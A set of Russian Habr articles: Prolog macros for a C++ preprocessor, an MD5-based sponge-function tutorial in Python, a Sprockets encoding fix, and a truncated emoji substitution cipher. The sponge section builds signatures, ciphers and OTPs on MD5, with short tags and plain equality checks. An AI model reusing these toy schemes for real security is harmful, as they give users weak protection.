Это макросы с параметрами, которые включают специальный код, который, на базе переданных в макрос параметров, генерирует выходной фрагмент, помещаемый в обрабатываемую программу, заменяя вызов макроса. Фрагмент генерируется путем простой выдачи текста в выходной поток (как это сделано, например, в PHP). Вопрос о том, на каком языке пишутся такие макросы, не очень принципиален. Я воспользовался GNU Prolog, поскольку это хорошо вписывалось в разрабатываемый мной препроцессор, но вполне можно, например, использовать тот же PHP (обычно он генерирует HTML-фрагменты, но ничто не мешает ему генерировать фрагменты кода на любом языке).
Важно заметить, что препроцессинг такой программы, в которую вставлены такие макросы, не обязательно однократный. Может потребоваться, чтобы макрос А знал о том, что делает другой макрос Б – тогда, если по тексту вызов А предшествует Б, приходится делать препроцессинг как минимум двукратным, чтобы на первой стадии Б сгенерировал данные, а на второй А их прочитал. Это решается легко – в программу можно вставить прямое указание на то, сколько раз (максимально) выполнить препроцессинг, а макросам можно разрешить досрочно завершить итерации препроцессинга с помощью вызова специального предиката.
Пример
------
Предположим, что мы захотели ввести в язык C++ новую конструкцию, которая по окончании цикла позволяет обработать случай, когда он был прерван по break. Она имеет вид:
```
while(условие) {
тело_цикла
}
else обработка_прерывания_по_break
```
Пример программы, вводящей и использующей такую конструкцию:
```
#include
#scan(WhileElse)
// Сканер, генерирующий вызов компилирующего макроса while\_else(параметры). Содержит предыдущий контекст и основную часть.
#def\_pattern WhileElse => while\_else (gid(), /root/COND/@Value, /root/BODY/@Value) {
(((^)|(\;)+|\}|\{|\)|\\n|(\\n|\\t|\b)else\b|(\\n|\\t|\b)do\b|\:)((\s|\\t)\*\\n)\*)(\s|\\t)\*
@begin
(\s|\\t)\*
(while(\\n|\s|\\t)\*\(
(\\n|\s|\\t)\*((.{1,300}?)->{COND}\))?=>{Predicates.BAL($,')')}
)
(\s|\\t)\*
\{
(\\n|\s|\\t)\*((.{1,8192}?)->{BODY}\})?=>{Predicates.BAL($,'}')}
(\\n|\s|\\t)\*
else
@end
(\\n|\s|\\t)+
};
// Компилирующий макрос
#def\_module() while\_else(GID, COND, BODY) {
@goal:-brackets\_off.
@goal:-
write('bool \_\_break'), write(GID), write(' = false;'), nl,
write('while('), write(COND), write(') {'), nl,
write(' \_\_break'), write(GID), write(' = true;'), nl,
write(BODY), nl,
write(' \_\_break'), write(GID), write(' = false;'), nl,
write('}'), nl,
write('if (\_\_break'), write(GID), write(') '), nl.
};
// Программа
int main() {
int A[10];
int k = 0;
while (k < 10) {
cin >> A[k];
if (A[k] == 0) break;
k++;
}
else
cout << "Был введен ноль!" << endl;
return 0;
}
```
Кстати, после обработки препроцессором программа выглядит так:
```
#include
int main() {
int A[10];
int k = 0;
bool \_\_break1 = false;
while(k < 10) {
\_\_break1 = true;
cin >> A[k];
if (A[k] == 0) break;
k++;
\_\_break1 = false;
}
if (\_\_break1)
cout << "Был введен ноль!" << endl;
return 0;
}
```
Неожиданное применение – реализация автоматического распараллеливания исходных программ
---------------------------------------------------------------------------------------
В самом деле, если написать сканеры для всех стандартных синтаксических элементов языка (для каждого из них генерируется факт), а потом написать два «компилирующих» макроса, первый из которых анализирует распознанную программу (факты) и вставляет новые факты-директивы распараллеливания, а второй – генерирует по полученному набору фактов результирующий программный код, то так можно написать сколь угодно сложный параллелизатор, учитывая, что компилирующие макросы в моем варианте реализуют «интеллектуальный» подход на базе GNU Prolog.
Таким путем были написаны два параллелизатора – первый из них распараллеливает исходную программу на языке C, вставляя в нее директивы Cilk++, а второй использует специальные расщепляющие трансформации, о которых я писал на Хабре [раньше](https://habr.com/ru/post/515672/).
Заключение
----------
Как я уже писал выше, описанные схемы реализованы в специальном препроцессоре (для C++/Planning C) и успешно работают. С их помощью реализованы некоторые параллельные расширения языка (как пример – стандартные вычислительные топологии), а также два автоматических распараллеливателя для программ на C. | https://habr.com/ru/post/572416/ | null | ru | null |
# Создание функции губки из MD5
> Привет, Хабр. В преддверии старта курса ["**Python Developer. Professional**"](https://otus.pw/yxxg/) подготовили перевод материала.
>
>
---
Во время своих исследований я столкнулся с термином «функция губки». Поиграв с ней и внедрив одну из них в свое [ядро](https://www.gkbrk.com/project/cardinal), я решил написать эту статью о том, как создать упрощенную версию. Чтобы свести низкоуровневый криптографический код к минимуму, мы будем полагаться на хэш-функцию MD5. Пристегнитесь, разговор будет долгим.
Начнем с простой концепции хэш-функции MD5 и будем, основываясь на ней, реализовывать общие функции, которые могут показаться черными ящиками. Каждый шаг будет небольшим, чтобы его можно было усвоить, при этом внося вклад в общее понимание темы. Если что-то кажется неясным, не стесняйтесь обсуждать это в комментариях. Эта статья организована так, что вы можете в любой момент сделать паузу и поиграться с концепциями самостоятельно, или ускорить прочтение, если захотите.
Поскольку мы будем основываться на хэш-функции MD5, давайте выделим небольшой раздел, чтобы рассмотреть ее поподробнее. Мы будем смотреть на MD5, как на черный ящик, и игнорировать любые сложные детали ради краткости.
### Бэкграунд MD5
MD5 – это криптографическая хэш-функция, которая отображает произвольный объем данных в 16 байт (или 128 бит). В период своего расцвета MD5 была идеальным вариантом хэширования паролей, проверки файлов на наличие повреждений и маркировки данных на предмет подделки. Позже в течение некоторого времени она считалась ненадежной, и ее не рекомендовалось использовать ни для чего, связанного с безопасностью. Тем не менее эта хэш-функция была хорошо известна и реализована практически для любого когда-либо известного вычислительного устройства. К счастью, в комплекте с Python поставляется набор хэш-функций в модуле *hashlib*. Так что давайте посмотрим, как она работает.
In [3]:
```
md5(b"Test").hex()
md5(b"Test 123").hex()
```
Out [3]:
```
'0cbc6611f5540bd0809a388dc95a615b'
```
Out [3]:
```
'f3957228139a2686632e206478ad1c9e'
```
Как мы видим, входные данные разной длины сопоставляются с выходными данными фиксированного размера, а небольшие изменения входных значений приводят совершенно к разным выходным. В целом, именно этого мы и ждали от хэш-функции. В этой статье мы будем использовать хэш-функцию MD5 для создания губки. Но прежде, чем мы начнем, надо бы разобраться с тем, что же такое функция губки.
### Функция губки
[Функция губки](https://en.wikipedia.org/wiki/Sponge_function) – это криптографическая функция, которая может «впитывать» любое количество битов и «выжимать» их, как губка. Немного отличается от того, что мы наблюдали с MD5. В то время как MD5 будет выдавать только выходы фиксированного размера в 16 байт, губка может выдавать 1 байт, 26 байт, 5000 байт или вообще любое количество, которое вам понравится. Звучит забавно и потому может быть полезно для множества различных задач, поэтому займемся нечестивым программированием и превратим MD5 в губку.
Губки завораживают. Их можно использовать в качестве [хэш-функции](https://en.wikipedia.org/wiki/Cryptographic_hash_function), [генератора случайных чисел](https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator), [имитовставок](https://en.wikipedia.org/wiki/Message_authentication_code) или для [шифрования данных](https://en.wikipedia.org/wiki/Stream_cipher). Можно сказать, что губки – это что-то вроде швейцарских ножей.
#### Теория
Для создания функции губки нужно внутреннее состояние (которое является просто буфером) и функция для псевдослучайного преобразования одного состояния в другое. Мы воспользуемся двумя свойствами хэша MD5. Наш буфер состояния будет 16 байтами выходных данных MD5, а функцией преобразования будет сама MD5.
Губка скрывает большую часть своего внутреннего состояния. Как впитанные биты, так и выжатые биты – это лишь небольшая его часть, поэтому выходные данные никогда не показывают полное состояние функции.
* Первый шаг – это инициализация состояния, то есть либо 0, либо любое другое разумное значение по умолчанию.
* Для каждого байта входных данных:
+ Первый байт состояния совпадает с входным байтом.
+ Состояние заменяется MD5.
Этот процесс впитывает все входные данные в состояние. После того, как мы впитали входные данные, мы можем выжать столько байтов, сколько захотим, следуя очень похожему алгоритму. Для каждого байта, который мы хотим создать:
* Выводим первый байт состояния.
* Преобразуем состояние с помощью MD5.
> Внимание! Лучше не использовать эту практику для слишком чувствительных данных. Здесь представлена реализация доказательства концепции со сломанной функцией MD5, взятой за основу. Лучше выберите себе что-нибудь получше, например [ChaCha20](https://en.wikipedia.org/wiki/Salsa20#ChaCha_variant) или [SHA-512](https://en.wikipedia.org/wiki/SHA-2). В целом, все, что нам нужно - большое состояние и функция преобразования, которая действительно хорошо его обрабатывает.
>
>
### Реализация
Теперь, когда мы вкратце пробежались по теории, самое время перейти к реализации. Мы будем писать ее пошагово и осуществим каждую операцию, о которой упоминали выше. Первый шаг – функция преобразования.
#### Функция преобразования
Следуя вышеизложенной теории, нам нужна функция преобразования, которая примет наше состояние и псевдослучайно сопоставит его с другим состоянием. В нашем случае хэш-функция MD5 выполнит всю тяжелую работу за нас. И под тяжелой работой я подразумеваю, что MD5 сделает за нас вообще практически все.
Мы можем преобразовать текущее состояние, передав его в функцию MD5. Вот небольшая демонстрация.
In [5]:
```
# Initial state
md5(b"").hex()
# Transform once
md5(md5(b"")).hex()
# Transform again
md5(md5(md5(b""))).hex()
# And so on...
```
Out [5]:
```
'd41d8cd98f00b204e9800998ecf8427e'
```
Out [5]:
```
'59adb24ef3cdbe0297f05b395827453f'
```
Out [5]:
```
'8b8154f03b75f58a6c702235bf643629'
```
Похоже, работает. Давайте инкапсулируем это все в метод класса *Sponge*. Каждый раз при впитывании или выжимании байта мы будем изменять состояние с помощью этого метода.
In [6]:
```
class Sponge(Sponge):
def transform(self):
self.state = md5(self.state)
```
#### Инициализация
Как говорилось ранее, состояние должно быть инкапсулировано, прежде чем мы начнем впитывать и выжимать какие-либо биты. Поскольку мы используем MD5, то хотим, чтобы наше состояние занимало 16 байт. К счастью, MD5 гарантирует, что независимо от значения, которое мы предоставляем, состояние в конечном итоге составит 16 байт. Таким образом, мы можем выбрать любое значение, включая пустую строку. Давайте рассмотрим этот вариант.
In [7]:
```
class Sponge(Sponge):
def __init__(self):
self.state = b""
self.transform()
```
Посмотрим, все ли работает. После создания экземпляра класса *Sponge*, мы должны были получить преобразование пустой строки с помощью MD5 - `d41d8cd98f00b204e9800998ecf8427e`.
In [8]:
```
s = Sponge()
s.state.hex()
```
Out [8]:
```
'd41d8cd98f00b204e9800998ecf8427e'
```
### Впитывание байта
Помня логику из раздела теории, мы можем с легкостью написать код для впитывания одного байта. Мы заменим первый байт состояния на входной XOR первый байт, а затем преобразуем состояние.
In [9]:
```
class Sponge(Sponge):
def absorb_byte(self, byte):
self.state[0] = byte ^ self.state[0]
self.transform()
```
Мы можем быстро проверить, что получаем различные состояния после впитывания различных данных. Давайте попробуем впитать [1,2] и [2,1] и понаблюдаем за разницей в состояниях.
In [10]:
```
s = Sponge()
s.absorb_byte(1)
s.absorb_byte(2)
s.state.hex()
```
Out [10]:
```
'29a3a137fccfa18e5cfb5054b13aa412'
```
In [11]:
```
s = Sponge()
s.absorb_byte(3)
s.absorb_byte(4)
s.state.hex()
```
Out [11]:
```
'0291c72acd7e7da67bedcb15aa4733c6'
```
#### Впитывание буфера
Обобщение этой концепции на буферы произвольных размеров тривиально. Нужно просто идти по буферу и впитывать байты один за другим. Такая абстракция весьма полезна, поскольку в реальном мире мы обычно работаем с буферами целиком, а не с отдельными байтами.
In [12]:
```
class Sponge(Sponge):
def absorb(self, buffer):
for byte in buffer:
self.absorb_byte(byte)
```
Быстрая проверка логики: наше состояние должно отличаться от пустого состояния после впитывания байтов. Давайте быстренько проверим это, прежде чем пойдем дальше.
In [13]:
```
s = Sponge()
s.absorb(b"Test")
s.state.hex()
```
Out [13]:
```
'28a7cbf238c85bad13cc0fc4933a68ae'
```
#### Выжимание байта
Поскольку нам не нужно смешивать входные данные, наша логика выжимания будет проще, чем логика впитывания. Вспоминая теорию, мы выведем первый байт и снова преобразуем состояние, чтобы получить один байт.
In [14]:
```
class Sponge(Sponge):
def squeeze_byte(self):
byte = self.state[0]
self.transform()
return byte
```
Давайте попробуем создать несколько байтов, и посмотрим, сработает ли это.
In [15]:
```
s = Sponge()
s.absorb(b"Test")
[s.squeeze_byte() for _ in range(5)]
```
Out [15]:
```
[40, 243, 39, 189, 220]
```
#### Выжимание буфера
Переход от извлечения отдельных байтов к извлечению буферов – не слишком сложная задача. Мы используем [списочное выражение](https://docs.python.org/3/tutorial/datastructures.html#list-comprehensions), чтобы сократить количество кода.
In [16]:
```
class Sponge(Sponge):
def squeeze(self, size):
buf = [self.squeeze_byte() for _ in range(size)]
return bytes(buf)
```
In [17]:
```
s = Sponge()
s.absorb(b"Test")
s.squeeze(5).hex()
```
Out [17]:
```
'28f327bddc'
```
Может показаться, что кода слишком мало, но здесь есть все, что нам нужно. Возможно, было бы полезно расширить функционал для удобства, но в 99% вариантов использования этих методов будет достаточно. Теперь начнем играться с нашей губкой.
### Варианты использования
В самом начале мы упоминали, что функции губки отличаются широким спектром криптографических вариантов использования. В этом разделе я буду реализовывать их простыми способами, чтобы показать, насколько полезными могут быть губки.
#### Хэш-функции
Хэширование – самая простая вещь, которую можно реализовать с помощью губки. На самом деле мы уже видели, как это работает выше. Уточню, что мы можем создать хэш, впитывая все входные данные и выжимая фиксированное количество байтов.
In [18]:
```
def sponge_hash(data):
s = Sponge()
s.absorb(data)
return s.squeeze(10).hex()
sponge_hash(b"123")
sponge_hash(b"Test 123")
sponge_hash(b"Test 113")
```
Out [18]:
```
'91e292b50acc3c838a0a'
```
Out [18]:
```
'b7a2027b77e56ca5d11f'
```
Out [18]:
```
'62eb28a8017c976f7ccc'
```
Как мы видим, результат соответствует нашим критериям хэш-функции. Входные данные разных размеров сопоставляются с выходными данными фиксированного размера, а небольшие изменения во входных данных приводят к совершенно разным хэшам. Вы можете заменить 10 любой другой длиной, чтобы изменить выходной размер хэша. В целом, более длинные хэши меньше подвержены коллизиям, но занимают больше места. Вы можете поэкспериментировать и выбрать подходящий размер хэша для вашего случая.
#### Генератор случайных чисел
Генерация случайных чисел (ГСЧ) также можно реализовать с помощью губки. Основная идея заключается в том, чтобы впитать зерно для ГСЧ, а затем выжать байты для нужного количества случайных чисел. В следующем примере я использую фиксированное начальное значение для генерации десяти 16-битных целых чисел без знака.
In [19]:
```
import struct
s = Sponge()
s.absorb(b"Seeding the RNG")
def rng():
buf = s.squeeze(2)
return struct.unpack('H', buf)[0]
[rng() for _ in range(10)]
```
Out [19]:
```
[29342, 19407, 47040, 9984, 55893, 40500, 56312, 36293, 58610, 10880]
```
Если мы используем одно и то же зерно, то всегда получаем один и тот же результат. Может прозвучать нелогично для задачи генерации случайных чисел, но обычно нужно, чтобы была возможность воспроизвести случайный результат. Если этот вариант вам не подходит, вы можете получить зерно из действительно случайного источника или из чего-то, что регулярно меняется, например, текущее время. Все зависит от того, чего вы ждете от случайных чисел. Ниже я показал, как прочитать случайное зерно из */dev/urandom* (<https://en.wikipedia.org/wiki//dev/random>).
In [20]:
```
s = Sponge()
with open("/dev/urandom", "rb") as urandom:
s.absorb(urandom.read(64))
[rng() for _ in range(10)]
```
Out [20]:
```
[56437, 39690, 47308, 16515, 29378, 11318, 32523, 18419, 47972, 4874]
```
> Идея: Вы можете впитывать значения при их генерации, что позволит периодически передавать ГСЧ новые зерна с помощью внешних источников.
>
>
#### Имитовставка
Мы можем использовать функцию губки для создания механизма, который может создавать и проверять подписи с помощью секретного ключа. Этот метод очень распространен в мобильных и веб-приложениях для хранения сеанса на клиенте без возможности в него вмешиваться. Если вы хотите узнать больше об этом варианте использовании, познакомьтесь с таким явлением, как [веб-токены JSON](https://en.wikipedia.org/wiki/JSON_Web_Token).
Чтобы создать подпись мы впитываем данные и секретный ключ. После этого можно выжать произвольное количество битов, которые можно использовать в качестве подписи.
In [21]:
```
def sign(data, key):
s = Sponge()
s.absorb(data)
s.absorb(key)
return s.squeeze(5)
data = b"Hello world!"
key = b"password123"
signature = sign(data, key)
signature.hex()
```
Out [21]:
```
'480e4c2b9d'
```
Проверить подпись можно создав подпись самостоятельно и сравнив ее со сгенерированной подписью. Если они совпадают, то данные и подпись не изменились.
In [22]:
```
def verify(data, sig, key):
correct = sign(data, key)
return sig == correct
verify(data, signature, key)
```
Out [22]:
```
True
```
Как и ожидалось, подпись успешно верифицирована. Давайте попробуем немного изменить данные и изменим два символа.
In [23]:
```
data = b"Hello wordl!"
verify(data, signature, key)
```
Out [23]:
```
False
```
Точно также мы можем получить корректные данные и вместо этого подделать подпись. Проверка завершится ошибкой, показав, что и подпись, и данные защищены от повреждения и подделки.
In [24]:
```
data = b"Hello world!"
signature = bytes.fromhex("481e4c2b9d")
verify(data, signature, key)
```
Out [24]:
```
False
```
#### Потоковый шифр
Потоковый шифр позволяет нам шифровать и расшифровывать поток байтов с помощью одного секретного ключа. Его можно использовать, чтобы убедиться, что только вы или кто-то с секретным ключом, может расшифровать данные.
In [25]:
```
def stream_cipher(data, key):
s = Sponge()
s.absorb(key)
output = bytearray(data)
for i in range(len(data)):
key = s.squeeze_byte()
output[i] ^= key
return output
data = b"Hello, world!"
encrypted = stream_cipher(data, b"password123")
encrypted.hex()
```
Out [25]:
```
'b571d4065c54547bdf1a002d8e'
```
Расшифровать потоковый шифр очень просто, и здесь вообще не нужен код. Простое шифрование уже зашифрованного значения с помощью правильного ключа приведет к расшифровке ваших данных. Давайте попробуем расшифровать наши данные с помощью правильных и неправильных паролей.
In [26]:
```
stream_cipher(encrypted, b"password123")
stream_cipher(encrypted, b"password132")
```
Out [26]:
```
bytearray(b'Hello, world!')
```
Out [26]:
```
bytearray(b'\x12\x88\x98?\x9aESh\x9a\x96\x9d\x17\x1d')
```
> **Идея:** вы можете объединить код имитовставки и потоковый шифр, чтобы создать зашифрованный и защищенный от подделки фрагмент данных. Называться это будет [аутентифицированным шифрованием](https://en.wikipedia.org/wiki/Authenticated_encryption), которое обычно выполняется в реальных протоколах. Попробуйте реализовать AE и AEAD самостоятельно.
>
> **Внимание:** рекомендуется также включить IV/nonce в ваш ключ, чтобы убедиться, что один и тот же открытый текст шифруется в разные шифротексты.
>
>
#### Временный одноразовый пароль
Возможно, вы заметили, что в наши дни многие сервисы запрашивают у вас одноразовые токены при попытке аутентификации. Эти токены обычно отображаются в виде 6 цифр и истекают через ~30 секунд. С помощью губки мы можем с легкостью реализовать свою собственную версию. Вот как работают одноразовые токены:
1. У сервера и клиента есть заранее согласованный секретный ключ.
2. При проверке подлинности сервер просит клиента создать токен.
3. Клиент получает текущее время и секретный ключ, чтобы создать токен, и отправляет его на сервер.
4. Сервер самостоятельно создает токен по тому же ключу и тем же правилам.
5. Если токены совпадают, клиенту предоставляется доступ.
In [27]:
```
import time
key = b"Secret key 123"
def get_otp(key, period=10):
t = time.time()
value = int(t / period)
time_left = period - (t % period)
s = Sponge()
s.absorb(key)
s.absorb(str(value).encode('ascii'))
otp = [s.squeeze(1).hex() for \_ in range(3)]
otp = ' '.join(otp)
return otp, int(time\_left)
otp, time_left = get_otp(key)
f"OTP is '{otp}'."
f"Valid for {time_left} more seconds."
```
Out [27]:
```
"OTP is '7c 0b c8'."
```
Out [27]:
```
'Valid for 7 more seconds.'
```
Если код все еще валиден, то есть *time\_left* еще не равен нулю, OTP будет считаться действительным.
In [28]:
```
otp == get_otp(key)[0]
```
Out [28]:
```
True
```
Если мы подождем, пока закончится таймер, наш OTP больше валидироваться не будет.
In [29]:
```
time.sleep(time_left + 1)
otp == get_otp(key)[0]
```
Out [29]:
```
False
```
> **Идея:** рекомендуется также принимать коды, которые могли быть сгенерированы до или после текущего времени, чтобы учесть смещение времени. В конце концов, текущее время – это входные данные, которые определяют каким будет код, поэтому аутентификация не пройдет, если не совпадет время.
>
>
#### Блочный шифр
Потоковые шифры, использующие криптографические хэши, рискуют войти в цикл. Так происходит, когда вызов функции преобразования состояния в итоге возвращается к предыдущему состоянию. Чтобы справиться с этим, мы можем использовать блочный шифр.
Основное отличие блочного шифра заключается в том, что вместо того, чтобы создать губку один раз и выжимать из нее байты для всего потока, мы впитываем счетчик вместе с ключом и однократно используемым числом (nonce), чтобы сгенерировать фиксированный блок байтов. Именно отсюда и вытекает название «блочный шифр».
In [30]:
```
BLOCKSIZE = 10
def get_block(key, counter):
s = Sponge()
s.absorb(key)
s.absorb(str(counter).encode("ascii"))
return bytearray(s.squeeze(BLOCKSIZE))
def block_encrypt(data, key):
size = len(data)
result = b""
counter = 0
while data:
# Chop off BLOCKSIZE bytes from the data
data\_block = data[:BLOCKSIZE]
data = data[BLOCKSIZE:]
# Generate a block cipher block
block = get\_block(key, counter)
for i, byte in enumerate(data\_block):
block[i] ^= byte
result += block
counter += 1
return result[:size]
data = b"Hello, world! Don't forget to stay hydrated."
encrypted = block\_encrypt(data, b"test")
encrypted.hex()
```
Out [30]:
```
'eec587d16686e81d26ed800677e609a6d2fed11b7a27bbb233370cdba1d941cdc01d42c4c3e7ee90a09333c1'
```
Как и в случае с потоковым шифром, давайте попробуем расшифровать наши данные с помощью правильных и неправильных ключей.
In [31]:
```
block_encrypt(encrypted, b"test")
block_encrypt(encrypted, b"TEST")
```
Out [31]:
```
b"Hello, world! Don't forget to stay hydrated."
```
Out [31]:
```
b'\xd1%\x17\xd9\xe0\x1bh\xaf~2\xc0\x9f\x8da\xb2\xe4\xa4\x05\x99\xc4\x82\xf7\x02\x0c\xed+\xa1\xf4\xefa?\x82l9Q\x05=B>p%\x9e\xa0q'
```
### Заключение
Если вы дошли до сюда, то хочу поблагодарить вас за то, что прочитали статью. Я буду признателен за комментарии. Теперь у вас есть понимание того, как реализовать некоторые часто используемые криптографические технологии с нуля. Расскажите о том, в какие проекты вы в итоге смогли внедрить функцию губки.
---
> Материал подготовлен в рамках курса ["**Python Developer. Professional**"](https://otus.pw/yxxg/)
>
> | https://habr.com/ru/post/559210/ | null | ru | null |
# Проблема с кодировкой в Sprockets 3 при работе с HTML файлами
Я не так давно обновил один из проектов до Rails 4.2 и заметил интересный эффект: кодировка обработанных html файлов в ассетах меняется на ISO-8859-1.
Данная проблема актуальна для Sprockets 3.0.0 и 3.0.1.
Проблема нашлась в EncodingUtils#detect\_html:
```
#...
module Sprockets
# Internal: HTTP transport encoding and charset detecting related functions.
# Mixed into Environment.
module EncodingUtils
extend self
#...
# Public: Detect charset from HTML document. Defaults to ISO-8859-1.
#
# str - String.
#
# Returns a encoded String.
def detect_html(str)
str = detect_unicode_bom(str)
# Attempt Charlock detection
if str.encoding == Encoding::BINARY
charlock_detect(str)
end
# Fallback to ISO-8859-1
if str.encoding == Encoding::BINARY
str.force_encoding(Encoding::ISO_8859_1)
end
str
end
CHARSET_DETECT[:html] = method(:detect_html)
end
end
```
При загрузке файла Sprockets пытается определить стандарт юникода, почистить строку от BOM и вернуть в нужной кодировке. В случае с html, если не удалось определить кодировку на этом этапе, то пытаемся дать это сделать charlock\_holmes (если он установлен), иначе принудительно конвертируем в ISO-8859-1.
Проблема в том, что BOM не является обязательным для UTF-8 и поэтому практически все редакторы сохраняют файлы в UTF-8 без BOM. А это значит, что метод `detect\_unicode\_bom` по большому счету является бесполезным и html файлы в ассетах всегда будут преобразованы в ISO-8859-1.
Решить проблему можно следующими способами:
1. Переопределить Mime Type для text/html в инициализаторе:
```
Rails.application.assets.register_mime_type('text/html', extensions: '.html', charset: :default)
```
2. Установить charlock\_holmes.
3. Обновиться до версии 3.0.2, где поведение по умолчанию изменено с ISO-8859-1 на Encoding.default\_external ([pull request](https://github.com/rails/sprockets/pull/32)) | https://habr.com/ru/post/256523/ | null | ru | null |
# Шифрование с помощью Emoji
На очередной паре по «Информационной безопасности» преподаватель дал нам задание придумать собственный метод шифрования. В голову сразу пришла идея о довольном необычном (а может и нет) методе. Что из этого вышло, читайте под катом.
За основу был взят шифр «Цезаря», суть которого заключалась в замене букв путём сдвига в алфавите на определённое число. Число это также является ключом, его вводит пользователь при шифровании.
Что же нам нужно? Был составлен массив ассоциаций букв и символов emoji. Для этого были написаны скрипт для парсинга всех emoji из Вконтакте и программа на Delphi для создания ассоциации путем случайного перемешивания смайликов, а также для дополнения их ссылками на изображения. На выходе получилось что-то подобное:
**Массив ассоциаций**
```
а "✨","http://vk.com/images/emoji/2728.png"
```
```
б "❄","http://vk.com/images/emoji/2744.png"
```
```
в "🀄","http://vk.com/images/emoji/D83CDC04.png"
```
```
г "🃏","http://vk.com/images/emoji/D83CDCCF.png"
```
```
д "🆘","http://vk.com/images/emoji/D83CDD98.png"
```
```
е "🌂","http://vk.com/images/emoji/D83CDF02.png"
```
```
ё "🌍","http://vk.com/images/emoji/D83CDF0D.png"
```
```
ж "🌛","http://vk.com/images/emoji/D83CDF1B.png"
```
```
з "🌝","http://vk.com/images/emoji/D83CDF1D.png"
```
```
и "🌞","1450830870441041053935"
```
```
й "🌟","http://vk.com/images/emoji/D83CDF1F.png"
```
```
к "🌰","http://vk.com/images/emoji/D83CDF30.png"
```
```
л "🌱","http://vk.com/images/emoji/D83CDF31.png"
```
```
м "🌲","http://vk.com/images/emoji/D83CDF32.png"
```
```
н "🌳","http://vk.com/images/emoji/D83CDF33.png"
```
```
о "🌴","http://vk.com/images/emoji/D83CDF34.png"
```
```
п "🌵","http://vk.com/images/emoji/D83CDF35.png"
```
```
р "🌷","http://vk.com/images/emoji/D83CDF37.png"
```
```
с "🌸","http://vk.com/images/emoji/D83CDF38.png"
```
```
т "🌹","http://vk.com/images/emoji/D83CDF39.png"
```
```
у "🌺","http://vk.com/images/emoji/D83CDF3A.png"
```
```
ф "🌻","http://vk.com/images/emoji/D83CDF3B.png"
```
```
х "🌼","http://vk.com/images/emoji/D83CDF3C.png"
```
```
ц "🌽","http://vk.com/images/emoji/D83CDF3D.png"
```
```
ч "🌾","http://vk.com/images/emoji/D83CDF3E.png"
```
```
ш "🌿","http://vk.com/images/emoji/D83CDF3F.png"
```
```
щ "🍀","http://vk.com/images/emoji/D83CDF40.png"
```
```
ъ "🍁","http://vk.com/images/emoji/D83CDF41.png"
```
```
ы "🍂","http://vk.com/images/emoji/D83CDF42.png"
```
```
ь "🍃","http://vk.com/images/emoji/D83CDF43.png"
```
```
э "🍄","http://vk.com/images/emoji/D83CDF44.png"
```
```
ю "🍅","http://vk.com/images/emoji/D83CDF45.png"
```
```
я "🍆","http://vk.com/images/emoji/D83CDF46.png"
```
```
a "🍇","http://vk.com/images/emoji/D83CDF47.png"
```
```
b "🍈","http://vk.com/images/emoji/D83CDF48.png"
```
```
c "🍉","http://vk.com/images/emoji/D83CDF49.png"
```
```
d "🍊","https://habrastorage.org/getpro/habr/post_images/e83/65f/0bb/e8365f0bbf916dcd2feee82f85039a80.png"
```
```
e "🍋","https://habrastorage.org/getpro/habr/post_images/0d3/a7a/ff2/0d3a7aff2e3dc5d58c511f3c8d76f5d0.png"
```
```
f "🍌","http://vk.com/images/emoji/D83CDF4C.png"
```
```
g "🍍","http://vk.com/images/emoji/D83CDF4D.png"
```
```
h "🍎","https://habrastorage.org/getpro/habr/post_images/9f6/514/145/9f6514145586341507fdeb3419aadf96.png"
```
```
i "🍏","http://vk.com/images/emoji/D83CDF4F.png"
```
```
j "🍐","http://vk.com/images/emoji/D83CDF50.png"
```
```
k "🍑","http://vk.com/images/emoji/D83CDF51.png"
```
```
l "🍒","https://habrastorage.org/getpro/habr/post_images/6cf/2cd/60e/6cf2cd60e1966b7b22c0ede9c2569778.png"
```
```
m "🍓","http://vk.com/images/emoji/D83CDF53.png"
```
```
n "🍔","http://vk.com/images/emoji/D83CDF54.png"
```
```
o "🍕","https://habrastorage.org/getpro/habr/post_images/c8a/e3e/caa/c8ae3ecaa831341c53c06e637673b8c2.png"
```
```
p "🍖","http://vk.com/images/emoji/D83CDF56.png"
```
```
q "🍗","http://vk.com/images/emoji/D83CDF57.png"
```
```
r "🍚","https://habrastorage.org/getpro/habr/post_images/a08/8af/125/a088af1256132a32f51c851801f54503.png"
```
```
s "🍛","http://vk.com/images/emoji/D83CDF5B.png"
```
```
t "🍜","http://vk.com/images/emoji/D83CDF5C.png"
```
```
u "🍝","http://vk.com/images/emoji/D83CDF5D.png"
```
```
v "🍞","http://vk.com/images/emoji/D83CDF5E.png"
```
```
w "🍟","https://habrastorage.org/getpro/habr/post_images/71f/1b4/a98/71f1b4a989fbe225f56befde91b993c7.png"
```
```
x "🍠","http://vk.com/images/emoji/D83CDF60.png"
```
```
y "🍡","http://vk.com/images/emoji/D83CDF61.png"
```
```
z "🍢","http://vk.com/images/emoji/D83CDF62.png"
```
```
~ "🍣","http://vk.com/images/emoji/D83CDF63.png"
```
```
` "🍤","http://vk.com/images/emoji/D83CDF64.png"
```
```
! "🍥","http://vk.com/images/emoji/D83CDF65.png"
```
```
@ "🍦","http://vk.com/images/emoji/D83CDF66.png"
```
```
# "🍧","http://vk.com/images/emoji/D83CDF67.png"
```
```
$ "🍨","http://vk.com/images/emoji/D83CDF68.png"
```
```
% "🍩","http://vk.com/images/emoji/D83CDF69.png"
```
```
^ "🍪","http://vk.com/images/emoji/D83CDF6A.png"
```
```
& "🍫","http://vk.com/images/emoji/D83CDF6B.png"
```
```
* "🍬","http://vk.com/images/emoji/D83CDF6C.png"
```
```
( "🍭","http://vk.com/images/emoji/D83CDF6D.png"
```
```
) "🍮","http://vk.com/images/emoji/D83CDF6E.png"
```
```
_ "🍯","http://vk.com/images/emoji/D83CDF6F.png"
```
```
+ "🍰","http://vk.com/images/emoji/D83CDF70.png"
```
```
" "🍱","http://vk.com/images/emoji/D83CDF71.png"
```
```
№ "🍲","http://vk.com/images/emoji/D83CDF72.png"
```
```
; "🍳","http://vk.com/images/emoji/D83CDF73.png"
```
```
: "🍴","http://vk.com/images/emoji/D83CDF74.png"
```
```
? "🍵","http://vk.com/images/emoji/D83CDF75.png"
```
```
- "🍶","http://vk.com/images/emoji/D83CDF76.png"
```
```
= "🍷","http://vk.com/images/emoji/D83CDF77.png"
```
```
/ "🍸","http://vk.com/images/emoji/D83CDF78.png"
```
```
\ "🍹","http://vk.com/images/emoji/D83CDF79.png"
```
```
0 "🍺","http://vk.com/images/emoji/D83CDF7A.png"
```
```
1 "🍻","http://vk.com/images/emoji/D83CDF7B.png"
```
```
2 "🍼","http://vk.com/images/emoji/D83CDF7C.png"
```
```
3 "🎀","http://vk.com/images/emoji/D83CDF80.png"
```
```
